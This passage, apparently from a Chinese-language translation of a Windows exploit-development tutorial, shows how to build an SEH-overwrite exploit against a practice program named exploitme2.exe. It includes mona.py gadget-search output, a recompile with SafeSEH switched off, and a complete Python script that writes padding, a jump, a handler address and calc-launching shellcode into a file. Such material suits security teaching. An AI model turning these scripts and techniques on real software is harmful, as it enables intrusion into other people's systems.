"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
"\x30\x03\xc6\xeb\xdd")
data = 'a'*84 + jmp + handler + shellcode
f.write(data + 'c' * (10000 - len(data)))
如果你使用WinDbg调试exploitme2.exe,你将会发现出错了。我们的handler(pop/pop/ret
)并没有被调用,为什么?
我们来看一看已加载的模块:
0:000> !py mona modules
Hold on...
[+] Command used:
!py mona.py modules
---------- Mona command started on 2015-03-19 00:31:14 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
0x774b0000 | 0x774ba000 | 0x0000a000 | False | True | True | True | True | 6.1.7601.18768 [LPK.dll] (C:\Windows\syswow64\LPK.dll)
0x00190000 | 0x00196000 | 0x00006000 | False | True | True | False | False | -1.0- [exploitme2.exe] (exploitme2.exe)
0x752d0000 | 0x7532a000 | 0x0005a000 | False | True | True | True | True | 8.0.0.4344 [guard32.dll] (C:\Windows\SysWOW64\guard32.dll)
0x764c0000 | 0x7658c000 | 0x000cc000 | False | True | True | True | True | 6.1.7601.18731 [MSCTF.dll] (C:\Windows\syswow64\MSCTF.dll)
0x76360000 | 0x763a7000 | 0x00047000 | False | True | True | True | True | 6.1.7601.18409 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll)
0x752c0000 | 0x752c9000 | 0x00009000 | False | True | True | True | True | 6.1.7600.16385 [VERSION.dll] (C:\Windows\SysWOW64\VERSION.dll)
0x752b0000 | 0x752b7000 | 0x00007000 | False | True | True | True | True | 6.1.7600.16385 [fltlib.dll] (C:\Windows\SysWOW64\fltlib.dll)
0x758c0000 | 0x7595d000 | 0x0009d000 | False | True | True | True | True | 1.626.7601.18454 [USP10.dll] (C:\Windows\syswow64\USP10.dll)
0x75b50000 | 0x75be0000 | 0x00090000 | False | True | True | True | True | 6.1.7601.18577 [GDI32.dll] (C:\Windows\syswow64\GDI32.dll)
0x75dc0000 | 0x75ed0000 | 0x00110000 | False | True | True | True | True | 6.1.7601.18409 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll)
0x75960000 | 0x75a0c000 | 0x000ac000 | False | True | True | True | True | 7.0.7601.17744 [msvcrt.dll] (C:\Windows\syswow64\msvcrt.dll)
0x75550000 | 0x7555c000 | 0x0000c000 | False | True | True | True | True | 6.1.7600.16385 [CRYPTBASE.dll] (C:\Windows\syswow64\CRYPTBASE.dll)
0x75560000 | 0x755c0000 | 0x00060000 | False | True | True | True | True | 6.1.7601.18779 [SspiCli.dll] (C:\Windows\syswow64\SspiCli.dll)
0x77bd0000 | 0x77d50000 | 0x00180000 | False | True | True | True | True | 6.1.7601.18247 [ntdll.dll] (ntdll.dll)
0x75ed0000 | 0x75f70000 | 0x000a0000 | False | True | True | True | True | 6.1.7601.18247 [ADVAPI32.dll] (C:\Windows\syswow64\ADVAPI32.dll)
0x77660000 | 0x77750000 | 0x000f0000 | False | True | True | True | True | 6.1.7601.18532 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll)
0x6d510000 | 0x6d5fe000 | 0x000ee000 | False | True | True | True | True | 12.0.21005.1 [MSVCR120.dll] (C:\Windows\SysWOW64\MSVCR120.dll)
0x764a0000 | 0x764b9000 | 0x00019000 | False | True | True | True | True | 6.1.7600.16385 [sechost.dll] (C:\Windows\SysWOW64\sechost.dll)
0x75ab0000 | 0x75ab5000 | 0x00005000 | False | True | True | True | True | 6.1.7600.16385 [PSAPI.DLL] (C:\Windows\syswow64\PSAPI.DLL)
0x761c0000 | 0x762c0000 | 0x00100000 | False | True | True | True | True | 6.1.7601.17514 [USER32.dll] (C:\Windows\syswow64\USER32.dll)
0x762f0000 | 0x76350000 | 0x00060000 | False | True | True | True | True | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\SysWOW64\IMM32.DLL)
----------------------------------------------------------------------------------------------------------------------------------
[+] This mona.py action took 0:00:00.110000
我们可以看到所有已加载的模块具有SafeSEH = True属性。对于我们来说这显然是坏消息。如果某个模块启用了SafeSEH保护机制进行编译,同时它含有一个被允许的SEH handler列表以及地址被包含在那个模块中的handler,但是没在列表中的都被忽略了。
地址0x75dfd75d在模块kernel32.dll中,但是没有在它的已允许的handler列表中,因此我们不能使用它。通常的解决方法是选择具有SafeSEH = False属性的模块,但是在我们的案例中,启用了SafeSEH保护机制来对所有模块进行编译。
因为我们在这只是正在学习“走路”,我们在VS2013中通过修改配置关闭SafeSEH保护机制来对exploiotme2.exe进行重编译,修改的配置如下:
- Configuration Properties
- Linker
- Advanced
- Image Has Safe Exception Handlers: No (/SAFESEH:NO)
- Advanced
- Linker
现在让我们在exploitme2.exe中找到pop/pop/ret
序列:
0:000> !py mona findwild -s "pop r32#pop r32#ret" -m exploitme2.exe
Hold on...
[+] Command used:
!py mona.py findwild -s pop r32#pop r32#ret -m exploitme2.exe
---------- Mona command started on 2015-03-19 00:53:54 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules exploitme2.exe
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x00e90000 and 0x00e96000
[+] Preparing output file 'findwild.txt'
- (Re)setting logfile findwild.txt
[+] Writing results to findwild.txt
- Number of pointers of type 'pop eax # pop esi # retn' : 1
- Number of pointers of type 'pop ecx # pop ecx # retn' : 1
- Number of pointers of type 'pop edi # pop esi # retn' : 2
- Number of pointers of type 'pop ecx # pop ebp # retn' : 1
- Number of pointers of type 'pop ebx # pop ebp # retn' : 1
[+] Results :
0x00e91802 | 0x00e91802 (b+0x00001802) : pop eax # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e9152f | 0x00e9152f (b+0x0000152f) : pop ecx # pop ecx # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e918e7 | 0x00e918e7 (b+0x000018e7) : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e91907 | 0x00e91907 (b+0x00001907) : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e9112b | 0x00e9112b (b+0x0000112b) : pop ecx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e91630 | 0x00e91630 (b+0x00001630) : pop ebx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
Found a total of 6 pointers
[+] This mona.py action took 0:00:00.170000
我们将使用第一个地址:0x00e91802.
这是已更新的Python脚本:
#!python
with open('c:\\name.dat', 'wb') as f:
jmp = '\xeb\x06\x90\x90'
handler = '\x02\x18\xe9\x00'
shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
"\x30\x03\xc6\xeb\xdd")
data = 'a'*84 + jmp + handler + shellcode
f.write(data + 'c' * (10000 - len(data)))
用WinDbg运行脚本并打开exploitme2.exe(没有启用SafeSEH保护机制的版本)。现在,不出我们所料,计算器被弹出了!成功利用,但是我们已经改写了一些代码。同时,在这里我们假设不启用ASLR保护机制(对于现在来说)
0x01 检测实验
如果利用没法在你的系统上成功执行,那么可能是因为在栈上的空间有限。可以参考文章http://drops.wooyun.org/tips/9948中的More space on stack部分进行解决